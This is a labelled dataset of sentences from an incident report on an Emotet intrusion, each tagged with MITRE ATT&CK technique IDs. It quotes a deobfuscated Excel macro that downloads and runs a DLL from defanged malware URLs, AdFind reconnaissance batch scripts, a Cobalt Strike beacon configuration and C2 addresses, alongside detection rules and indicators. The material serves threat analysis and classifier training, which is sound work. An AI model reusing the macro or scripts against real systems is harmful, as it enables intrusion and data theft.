{"sentence": "The Emotet infection was delivered using a xls file containing a malicious macro, a technique that has been on the wane in recent months.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Around 40 minutes after the initial execution, the Emotet malware started to run a new Emotet email spreader campaign.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "This entailed connecting to various email servers and sending new emails with attached xls and zip files.", "labels": ["T1566.001"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "This activity continued until the UTC clock turned over to the next day; at which point, the email spreader halted for a period of time and around seven hours into the second day, it began running the email spreader again.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Around 26 hours after the initial infection, while still running the email spreader, the Emotet malware pulled down and executed a Cobalt Strike payload on the beachhead host.", "labels": ["T1105"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Right after the beacon was executed, the threat actors began enumerating the network using native Windows binaries and the PowerView module, Invoke-ShareFinder.", "labels": ["T1059.003"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Around 30 minutes after dropping the beacon the threat actor injected into a dllhost.exe process and then proceeded to dump credentials from LSASS.", "labels": ["T1003.001", "T1055"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Another 20 minutes later, the threat actor ran Invoke-ShareFinder again and Invoke-Kerberoast.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "This was achieved by transferring a Cobalt Strike DLL over SMB and executing via a remote service on another workstation.", "labels": ["T1569.002", "T1570"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "From there, they ran Invoke-Sharefinder once again, along with AdFind, using a batch file named find.bat.", "labels": ["T1059.003"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Use of Cobalt Strike’s Get-System module was also apparent via the logs.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "The threat actors then proceeded to do additional network discovery using a batch script named p.bat to ping all servers in the network.", "labels": ["T1059.003"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "At 31 hours into the intrusion, the threat actors pivoted to the Domain Controller using the same Cobalt Strike DLL.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "After completing that activity, the threat actors chose another server to push a file, 1.msi, to, which was the installation package for Atera–for an additional means of persistence and command and control.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "During this whole second day, the original Emotet infection on the beachhead host was still trying to send more malicious emails, finally stopping for the day a little before 23:00 UTC.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "They returned the next day, at the same time as the previous day, and picked up where they left off.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Using the remote admin tools, they used Rclone to exfiltrate important data from a file server and upload it to MEGA.", "labels": ["T1219"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Interestingly, the threat actors exfiltrated the same data twice while running Rclone with the parameter –ignore-existing from two different hosts on the network.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Around 20:00 UTC the Emotet infection on the beachhead host began its email spreader activity again, only to halt at the change over at 00:00 UTC.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "This was the last activity we observed from this group.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "These cases commonly end up with ransomware in addition to data exfiltration.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "This, however, was not the case with this intrusion as the threat actors were evicted before any final actions could be taken.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "The threat actor gained access to the environment after a user opened an Excel document and enabled macros.", "labels": ["T1204.002"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "The document came in via email in the form of a zip file which included an xls file.", "labels": ["T1566.001"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "To deobfuscate the document the tool xlmdeobfuscator was used with the following output.", "labels": ["T1140"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "After deobfuscation and cleaned up, the code in the macro looks as follows.", "labels": ["T1140"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "=CALL(\"urlmon\",\"URLDownloadToFileA\",\"JJCCBB\",0,\"http[:]//praachichemfood[.]com/wp-content/Mwmos/\",\"..\\hvxda.ocx\",0,0) =IF(JRSJG1<0,CALL(\"urlmon\",\"URLDownloadToFileA\",\"JJCCBB\",0,\"https[:]//lopespublicidade[.]com/cgi-bin/e5R5oG4iEaQnxQrZDh/\",\"..\\hvxda.ocx\",0,0)) =IF(JRSJG2<0,CALL(\"urlmon\",\"URLDownloadToFileA\",\"JJCCBB\",0,\"https[:]//bosny[.]com/aspnet_client/rnMp0ofR/\",\"..\\hvxda.ocx\",0,0)) =IF(JRSJG3<0,CALL(\"urlmon\",\"URLDownloadToFileA\",\"JJCCBB\",0,\"http[:]//seasidesolutions[.]com/cgi-bin/WLoO6sEzYCJ3LTlC/\",\"..\\hvxda.ocx\",0,0))", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "=IF(JRSJG4<0,CALL(\"urlmon\",\"URLDownloadToFileA\",\"JJCCBB\",0,\"http[:]//borgelin[.]org/belzebub/okwRWz1C/\",\"..\\hvxda.ocx\",0,0))", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "=IF(JRSJG5<0, CALL(\"urlmon\",\"URLDownloadToFileA\",\"JJCCBB\",0,\"http[:]//loa-hk[.]com/wp-content/ffBag/\",\"..\\hvxda.ocx\",0,0)) =IF(JRSJG6<0, CLOSE(0),) =EXEC(\"C:\\Windows\\System32\\regsvr32.exe ..\\hvxda.ocx\") =R Execution Emotet Execution The execution is done from an Excel document using regsvr32.exe with the payload, hvxda.ocx, that is a DLL file with the name of random characters, llJyMIOvft.dll .", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Cobalt Strike Execution The Emotet DLL is then used to download Cobalt Strike, which is then injected into svchost and dllhost.", "labels": ["T1055"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Sysmon showing Emotet starting the Cobalt Strike executable.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "A great way to get the Malleable profile (and additional beacon config), is to use Didier Stevens’s fantastic tool 1768.py.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Here, the tool is used with a process dump of the executable.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Persistence The Emotet malware infection on the beachhead host used a registry run key to maintain persistence.", "labels": ["T1547.001"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Beyond the beachhead host, the threat actor deployed several Atera/Splashtop remote access tools across the environment as an alternative means of access to the environment should they lose access to their Cobalt Strike beacons.", "labels": ["T1219"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Privilege Escalation Use of Cobalt Strike’s Get-System named pipe technique was observed on the Domain Controller and other hosts to elevate to System privileges.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Defense Evasion Process injection was observed during the intrusion by both Emotet and Cobalt Strike.", "labels": ["T1055"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Cobalt Strike used process hollowing to launch under the context of the Dllhost.exe process.", "labels": ["T1055"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Scanning process memory across affected hosts reveals both the direct Cobalt Strike processes and the injected processes using the Malpedia yara rule.", "labels": ["T1055"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "CDPUserSvc win_cobalt_strike_auto 4844 svchost.exe C:\\Windows\\system32\\svchost.exe -k UnistackSvcGroup -s", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "WpnUserService win_cobalt_strike_auto 10256 UOmCgbXygCe.exe “C:\\Users\\USER\\AppData\\Local\\FrlxbduRbdVAbVbS\\UOmCgbXygCe.exe” win_cobalt_strike_auto 836 svchost.exe C:\\Windows\\system32\\svchost.exe -k DcomLaunch -p win_cobalt_strike_auto 1008 svchost.exe C:\\Windows\\system32\\svchost.exe -k DcomLaunch -p", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Data observed using sysmon event id 10 shows the use of the SearchIndexer process, similar to behavior observed in a prior case, followed by known Cobalt Strike malleable profile named pipes.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "EventID: 10 SourceImage: C:\\Windows\\system32\\SearchIndexer.exe TargetImage: C:\\Windows\\system32\\lsass.exe GrantedAccess: 136208 CallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+9d1e4|C:\\Windows\\System32\\KERNELBASE.dll+2bcbe|C:\\Program Files\\Common Files\\Microsoft", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Shared\\Ink\\IpsPlugin.dll+10369|C:\\Program Files\\Common Files\\Microsoft", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Shared\\Ink\\IpsPlugin.dll+10b65|C:\\Program Files\\Common Files\\Microsoft", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Shared\\Ink\\IpsPlugin.dll+8cb2|C:\\Program", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "We observed Cobalt Strike beacons accessing LSASS on multiple occasions, on almost every compromised host.", "labels": ["T1003.001"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "systeminfo ipconfig /all", "labels": ["T1016", "T1082"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "On the second day, the hands on activity from Cobalt Strike performed a more thorough examination of that host’s Windows domain.", "labels": ["T1059.003"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "C:\\Windows\\system32\\cmd.exe /C", "labels": ["T1059.003"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "net group \"Domain Computers\" /domain C:\\Windows\\system32\\cmd.exe /C", "labels": ["T1059.003"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "\"Domain Admins\" C:\\Windows\\system32\\cmd.exe /C", "labels": ["T1059.003"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "\"Enterprise Admins\" C:\\Windows\\system32\\cmd.exe /C", "labels": ["T1059.003", "T1082"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "systeminfo C:\\Windows\\system32\\cmd.exe /C", "labels": ["T1059.003", "T1082"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "nltest /DOMAIN_TRUSTS", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "The threat actors launched the PowerView module, Invoke-Sharefinder, from almost all of the hosts to which they pivoted, including the domain controller.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "AdFind.exe, the command-line Active Directory query tool, was run on only one of the compromised hosts via the find.bat batch script.", "labels": ["T1059.003"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "The contents of the script are below: find.exe -f \"(objectcategory=person)\" > ad_users.txt find.exe -f \"objectcategory=computer\" > ad_computers.txt find.exe -f \"(objectcategory=organizationalUnit)\" > ad_ous.txt find.exe -sc trustdmp > trustdmp.txt find.exe -subnets -f (objectCategory=subnet)> subnets.txt find.exe -f \"(objectcategory=group)\" > ad_group.txt find.exe -gcb -sc trustdmp > trustdmp.txt echo end Using the data collected from previous activity, they created a target list which was then fed to a batch script named p.bat.", "labels": ["T1059.003"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "The batch file contained one line, which pinged a list of servers (servers.txt).", "labels": ["T1059.003"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "The line can be seen below: for /f", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "%%i in (SERVERS.txt) do ping", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "i -n 1 >> res.txt Additionally, the threat actors displayed the share directories using dir.exe via the interactive shell from the Cobalt Strike beacon.", "labels": ["T1059.003"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Lateral Movement The Cobalt Strike jump psexec (Run service EXE on the remote host) produced a 7045 System Windows event on remote hosts.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Example: Below, the network traffic shows the SMB lateral transfer of one of the Atera Agent MSI installers (1.msi) used to gain access laterally on a host and provide persistence for later access.", "labels": ["T1570"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "The same can be observed for other payloads used during the intrusion as well; here we can see that same data using Zeek logs when the threat actors transferred the 1.dll Cobalt Strike beacon laterally to gain access to additional hosts.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Threat actors used PTH to acquire a session with elevated user access.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "We observed the below logs being generated on the source host and domain controller that indicate the use of PTH.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Source Host: - Windows EID 4624 Logon Type = 9 Authentication Package = Negotiate Logon Process = seclogo - Windows EID 467 Domain Controller: - Windows EID 4776", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "You can read more about detecting “Pass-The-Hash” here by Stealthbits and here by Hausec.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Command and Control Emotet In the Emotet Excel document, the following URLs are hard coded, and obfuscated, to download the second stage.", "labels": ["T1027", "T1105"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "https[:]//lopespublicidade[.]com/cgi-bin/e5R5oG4iEaQnxQrZDh/ https[:]//bosny[.]com/aspnet_client/rnMp0ofR/ http[:]//seasidesolutions[.]com/cgi-bin/WLoO6sEzYCJ3LTlC/ http[:]//borgelin[.]org/belzebub/okwRWz1C/ http[:]//loa-hk[.]com/wp-content/ffBag/ The second stage of Emotet has a set of hard-coded IPs that it tries to connect to after the DLL is executed.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "hxxps[://]103[.]133[.]214[.]242/ hxxps[://]103[.]133[.]214[.]242:8080/ hxxps[://]103[.]41[.]204[.]169/ hxxps[://]103[.]41[.]204[.]169:8080/ hxxps[://]103[.]42[.]58[.]120/ hxxps[://]103[.]42[.]58[.]120:7080/ hxxps[://]103[.]56[.]149[.]105/ hxxps[://]103[.]56[.]149[.]105:8080/ hxxps[://]103[.]8[.]26[.]17/ hxxps[://]103[.]8[.]26[.]17:8080/ hxxps[://]104[.]248[.]225[.]227/ hxxps[://]104[.]248[.]225[.]227:8080/ hxxps[://]110[.]235[.]83[.]107/ hxxps[://]110[.]235[.]83[.]107:7080/ hxxps[://]116[.]124[.]128[.]206/ hxxps[://]116[.]124[.]128[.]206:8080/ hxxps[://]118[.]98[.]72[.]86/ hxxps[://]134[.]122[.]119[.]23/ hxxps[://]134[.]122[.]119[.]23:8080/ hxxps[://]139[.]196[.]72[.]155:8080/ hxxps[://]159[.]69[.]237[.]188/ hxxps[://]175[.]126[.]176[.]79/ hxxps[://]175[.]126[.]176[.]79:8080/ hxxps[://]178[.]62[.]112[.]199/ hxxps[://]178[.]62[.]112[.]199:8080/ hxxps[://]185[.]148[.]168[.]220/ hxxps[://]185[.]148[.]168[.]220:8080/ hxxps[://]188[.]225[.]32[.]231/ hxxps[://]188[.]225[.]32[.]231:4143/ hxxps[://]190[.]90[.]233[.]66/ hxxps[://]194[.]9[.]172[.]107/ hxxps[://]194[.]9[.]172[.]107:8080/ hxxps[://]195[.]154[.]146[.]35/ hxxps[://]195[.]77[.]239[.]39/ hxxps[://]195[.]77[.]239[.]39:8080/ hxxps[://]196[.]44[.]98[.]190/ hxxps[://]196[.]44[.]98[.]190:8080/ hxxps[://]202[.]134[.]4[.]210/ hxxps[://]202[.]134[.]4[.]210:7080/ hxxps[://]202[.]28[.]34[.]99/ hxxps[://]202[.]28[.]34[.]99:8080/ hxxps[://]202[.]29[.]239[.]162/ hxxps[://]203[.]153[.]216[.]46/ hxxps[://]207[.]148[.]81[.]119/ hxxps[://]207[.]148[.]81[.]119:8080/ hxxps[://]210[.]57[.]209[.]142/ hxxps[://]210[.]57[.]209[.]142:8080/ hxxps[://]217[.]182[.]143[.]207/ hxxps[://]36[.]67[.]23[.]59/ hxxps[://]37[.]44[.]244[.]177/ hxxps[://]37[.]44[.]244[.]177:8080/ hxxps[://]37[.]59[.]209[.]141/ hxxps[://]37[.]59[.]209[.]141:8080/ hxxps[://]45[.]71[.]195[.]104:8080/ hxxps[://]5[.]56[.]132[.]177:8080/ hxxps[://]51[.]68[.]141[.]164:8080/ hxxps[://]54[.]37[.]106[.]167:8080/ hxxps[://]54[.]37[.]228[.]122/ hxxps[://]54[.]38[.]143[.]246/ hxxps[://]54[.]38[.]143[.]246:7080/ hxxps[://]54[.]38[.]242[.]185/ hxxps[://]59[.]148[.]253[.]194/ hxxps[://]62[.]171[.]178[.]147:8080/ hxxps[://]66[.]42[.]57[.]149/ hxxps[://]68[.]183[.]91[.]111/ hxxps[://]68[.]183[.]91[.]111:8080/ hxxps[://]68[.]183[.]93[.]250/ hxxps[://]78[.]46[.]73[.]125/ hxxps[://]78[.]47[.]204[.]80/ hxxps[://]85[.]214[.]67[.]203/ hxxps[://]85[.]214[.]67[.]203:8080/ hxxps[://]85[.]25[.]120[.]45/ hxxps[://]85[.]25[.]120[.]45:8080/ hxxps[://]87[.]106[.]97[.]83/ hxxps[://]87[.]106[.]97[.]83:7080/ hxxps[://]88[.]217[.]172[.]165/ hxxps[://]88[.]217[.]172[.]165:8080/ hxxps[://]93[.]104[.]209[.]107/ hxxps[://]93[.]104[.]209[.]107:8080/ Cobalt Strike Emotet, later on, deployed Cobalt Strike for additional functionality.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "59.95.98.204 JA3:", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "72a589da586844d7f0818ce684948eea JA3S: f176ba63b4d68e576b5ba345bec2c7b7 Certificate: [66:f7:4c:f9:56:5d:fe:15:a6:8c:62:b9:3d:72:cb:8e:c9:e9:89:02] Not Before: 2022/05/19 12:22:46 UTC Not After: 2023/05/19 12:22:46 (UTC) Issuer Org: jQuery Subject Common: jquery.com { \"beacontype\": [ \"HTTP\" ], \"sleeptime\": 45000, \"jitter\": 37, \"maxgetsize\": 1403644, \"spawnto\": \"AAAAAAAAAAAAAAAAAAAAAA==\", \"license_id\": 206546002, \"cfg_caution\": false, \"kill_date\": null, \"server\": { \"hostname\": \"59.95.98.204\", \"port\": 8080, \"publickey\": \"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCfWiK6EPk2D2Ho7CBgdUfK2kqa/1x2L0Tt0R4Pl/Sof+7skIOqclxG1PeQTbc0VYagoqiuCJCn/QQd8pJBzci5GMTtdrzcKqZXQBy3Rv7Sfv9v8MZQfU2UVrRgVChdAetwPDdSMAa5tsNhEKBDfpbpmhmXsjN10rW6mfPYu+kzuwIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==\" }, \"host_header\": \"\", \"useragent_header\": null, \"http-get\": { \"uri\": \"/jquery-3.3.1.min.js\", \"verb\": \"GET\", \"client\": { \"headers\": null, \"metadata\": null }, \"server\": { \"output\": [ \"print\", \"append 1522 characters\", \"prepend 84 characters\", \"prepend 3931 characters\", \"base64url\", \"mask\" ] } }, \"http-post\": { \"uri\": \"/jquery-3.3.2.min.js\", \"verb\": \"POST\", \"client\": { \"headers\": null, \"id\": null, \"output\": null } }, \"tcp_frame_header\": \"AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\", \"crypto_scheme\": 0, \"proxy\": { \"type\": null, \"username\": null, \"password\": null, \"behavior\": \"Use IE settings\" }, \"http_post_chunk\": 0, \"uses_cookies\": true, \"post-ex\": { \"spawnto_x86\": \"%windir%\\\\syswow64\\\\dllhost.exe\", \"spawnto_x64\": \"%windir%\\\\sysnative\\\\dllhost.exe\" }, \"process-inject\": { \"allocator\": \"NtMapViewOfSection\", \"execute\": [ \"CreateThread 'ntdll!RtlUserThreadStart'\", \"CreateThread\", \"NtQueueApcThread-s\", \"CreateRemoteThread\", \"RtlCreateUserThread\" ], \"min_alloc\": 17500, \"startrwx\": false, \"stub\": \"yl5rgAigihmtjA5iEHURzg==\", \"transform-x86\": [ \"prepend '\\\\x90\\\\x90'\" ], \"transform-x64\": [ \"prepend '\\\\x90\\\\x90'\" ], \"userwx\": false }, \"dns-beacon\": { \"dns_idle\": null, \"dns_sleep\": null, \"maxdns\": null, \"beacon\": null, \"get_A\": null, \"get_AAAA\": null, \"get_TXT\": null, \"put_metadata\": null, \"put_output\": null }, \"pipename\": null, \"smb_frame_header\": \"AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\", \"stage\": { \"cleanup\": true }, \"ssh\": { \"hostname\": null, \"port\": null, \"username\": null, \"password\": null, \"privatekey\": null } } Atera and Splashtop Threat actors used Atera and Splashtop remote access tools on two compromised hosts during the intrusion.", "labels": ["T1219"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Atera granted the threat actors with interactive access.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "We cannot, however, confirm that the threat actors utilized this access because the majority of activity originated through the Cobalt Strike beacons.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Exfiltration The threat actors used Rclone to exfiltrate sensitive data to MEGA.io cloud storage.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Command line logging revealed the destination to be the Mega service and the network shares targeted.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Actions on Objectives Emotet has for some time been used as an initial access broker for various intrusions; however, some Emotet infections get tasked with continuing the delivery of new campaigns.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "The Emotet mailer started roughly once each day during the intrusion.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Marked by bursts of connection to various email servers.", "labels": ["T1566.001"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "The emails were sent through various compromised email accounts, propagating additional malicious xls files to further propagate Emotet access.", "labels": ["T1566.001"], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "We did not see any further activity but we believe if given enough time, this would have ended with domain wide ransomware.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "We have a case coming up in a few weeks where it does exactly that.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Indicators File: info_1805.xls acd3d4e8f63f52eaf57467a76ca2389d", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "4a42b5e7e7fd43ddefc856f45bb95d97656ddca6 e598b9700e13f2cb1c30c6d9230152ed5716a6d6e25db702576fefeb6638005e 1.dll 27d0b9e38cdc9a31fa9271c0bbf5d393 e96980812c287c9d27be9181bcf08727cc9f457a 1b9c9e4ed6dab822b36e3716b1e8f046e92546554dff9bdbd18c822e18ab226b find.bat c96b2b5b52ef0013b841d136ddab0f49 22cc2bc032ae327de9f975e9122b692e4474ac15 5a5c601ede80d53e87e9ccb16b3b46f704e63ec7807e51f37929f65266158f4c p.bat adf2b487134ffcd7999e419318dfdf8d 91c54877440d14538be22d662e7f47e29ab219bf fd72a9313f8564b57ebd18791a438216d289d4a97df3f860f1fc585a001265d9 llJyMIOvft.dll e984f812689ec7af136a151a19b2d56c 88591ad3806c0a1e451c744d4942e99e9a5d2ff7 2b2e00ed89ce6898b9e58168488e72869f8e09f98fecb052143e15e98e5da9df UOmCgbXygCe.exe 592155bbbab05ac1f818cfd9eb53b672 82070d19c26e0f7e255168e1f2364174215aa0de f4c085ef1ba7e78a17a9185e4d5e06163fe0e39b6b0dc3088b4c1ed11c0d726b Network: Cobalt Strike: 59.95.98.204:8080http://59.95.98.204:8080/jquery-3.3.1.min.js Emotet: 103.8.26.17:8080 134.122.119.23:8080 54.38.143.246:7080 202.29.239.162:443 Detections Network Suricata rules: ET DROP Spamhaus DROP Listed Traffic Inbound group 13 ET CNC Feodo Tracker Reported CnC Server group 9 ET CNC Feodo Tracker Reported CnC Server group 12 ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2 ET MALWARE Cobalt Strike Beacon Activity (GET) ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response ET MALWARE Cobalt Strike Activity (POST) ET CNC Feodo Tracker Reported CnC Server group 22 ET POLICY SMB Executable File Transfer ET RPC DCERPC SVCCTL - Remote Service Control Manager Access ET CNC Feodo Tracker Reported CnC Server group 24 ET MALWARE W32/Emotet CnC Beacon 3 Sigma https://github.com/The-DFIR-Report/Sigma-Rules/blob/main/ateraagent_malicious_installations.yml title: AteraAgent malicious installations id: fb0f2d48-269d-473e-9afc-c540a16a990f description: Detects potentially malicious AteraAgent installations when the IntegratorLogin parameter is used to register a non-business email.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "author: \\@TheDFIRReport date: 2022/09/12 references: - https://thedfirreport.com/ logsource: product: zeek service: smb_files detection: selection_1: file_name|contains: - 'programdata' selection_2: file_name|endswith: - '\\.dll' condition: selection_1 and selection_2 falsepositives: - RMM Tools and Administrative activities in ProgramData Folder. level: medium tags: - attack.lateral_movement - attack.t1570 Yara https://github.com/The-DFIR-Report/Yara-Rules/blob/main/case_14335.yar /* YARA Rule Set Author: The DFIR Report Date: 2022-09-12 Identifier:", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Emotet Case 14335 Reference: https://thedfirreport.com */ /*", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "*/ import \"pe\" rule llJyMIOvft_14335 { meta: description = \"llJyMIOvft.dll\" author = \"The DFIR Report\" reference = \"https://thedfirreport.com\" date = 2022-09-12\" hash1 = \"2b2e00ed89ce6898b9e58168488e72869f8e09f98fecb052143e15e98e5da9df\" strings: $s1 = \"Project1.dll\" fullword ascii $s2 = \"!>v:\\\"6;\" fullword ascii $s3 = \"y6./XoFz_6fw%r:6*\" fullword ascii $s4 = \"u3!RuF%OR_O*^$nw7&<assembly xmlns=\\\"urn:schemas-microsoft-com:asm.v1\\\" manifestVersion=\\\"1.0\\\">\" fullword ascii $s5 = \"*/B+ n\" fullword ascii $s6 = \"ZnwFY66\" fullword ascii $s7 = \"1!f%G%w\" fullword ascii $s8 = \"QKMaXCL6\" fullword ascii $s9 = \"IMaRlh9\" fullword ascii $s10 = \"_BZRDe'7&7<<!{nBLU\" fullword ascii $s11 = \"lw7\\\"668!qZNL_EIS7IiMa\" fullword ascii $s12 = \"IS6\\\\JMtdHh0Piw2/PuH\" fullword ascii $s13 = \"iw#!RuF%OR__*^$nw76668!qZNL_EYS7I\" fullword ascii $s14 = \".RuF%LR__*^$\" fullword ascii $s15 = \"^<_EHJ3IPLPeZX0Phg7!BAK%_\" fullword ascii $s16 = \"ilG8Rn\\\"2OIkY*E%zw'v669(pZGn_EH_6IE\" fullword ascii $s17 = \"ilg7Rnr0OI^]*JTnw6\\\"76<\" fullword ascii $s18 = \"Broken pipe\" fullword ascii /*", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Goodware String - occured 742 times */ $s19 = \"Permission denied\" fullword ascii /*", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Goodware String - occured 823 times */ $s20 = \"v)(Ro\\\">OHkU*D%xw9\" fullword ascii condition: uint16(0) == 0x5a4d and filesize < 3000KB and ( pe.imphash() == \"066c972d2129d0e167d371a0abfcf03b\" and ( pe.exports(\"YAeJyEAYL7F4eDck6YUaf\") and pe.exports(\"fmFkmnQYB5TC2Sq5NGFkK\") and pe.exports(\"nrDjhnkd9nedaQwcCY\") ) or 12 of them ) } rule UOmCgbXygCe_14335 { meta:", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Processing of entities with this XML Schema p\" ascii $s10 = \"## %s test suite for Schemas version %s\" fullword ascii $s11 = \"Internal error: %s, \" fullword ascii $s12 = \"If <simpleContent> and <restriction> is used, the base type must be a simple type or a complex type with mixed content and parti\" ascii $s13 = \"For a string to be a valid default, the type definition must be a simple type or a complex type with simple content or mixed con\" ascii $s14 = \"For a string to be a valid default, the type definition must be a simple type or a complex type with mixed content and a particl\" ascii $s15 = \"Could not open the log file, running in verbose mode\" fullword ascii $s16 = \"not validating will not read content for PE entity %s\" fullword ascii $s17 = \"Skipping import of schema located at '%s' for the namespace '%s', since this namespace was already imported with the schema loca\" ascii $s18 = \"(annotation?, (simpleContent | complexContent | ((group | all | choice | sequence)?", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": ", ((attribute | attributeGroup)", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "\\\"\" fullword ascii $s12 = \"^{)P -z)\"", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "fullword ascii $s13 = \"ResOption1\" fullword ascii $s14 = \"DocumentSummaryInformation\" fullword wide /*", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
